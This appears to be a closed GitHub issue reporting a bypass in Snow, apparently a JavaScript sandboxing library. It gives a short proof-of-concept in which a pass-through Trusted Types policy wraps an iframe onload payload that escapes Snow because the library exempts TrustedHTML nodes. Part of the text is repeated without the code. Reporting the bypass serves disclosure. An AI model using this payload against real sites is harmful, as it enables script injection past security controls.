Closed weizman closed 2 years ago
reproduce by running
{ const escapeHTMLPolicy = trustedTypes.createPolicy("myEscapePolicy", { createHTML: (string) => string.replace('', '') }); const escaped = escapeHTMLPolicy.createHTML("<iframe onload='this.contentWindow.alert(1)'></iframe>"); document.head.innerHTML=escaped; }
this can be done because Snow excepts specifically TrustedHTML nodes due to poor judgment of "9 months ago gal"
reproduce by running
this can be done because Snow excepts specifically TrustedHTML nodes due to poor judgment of "9 months ago gal"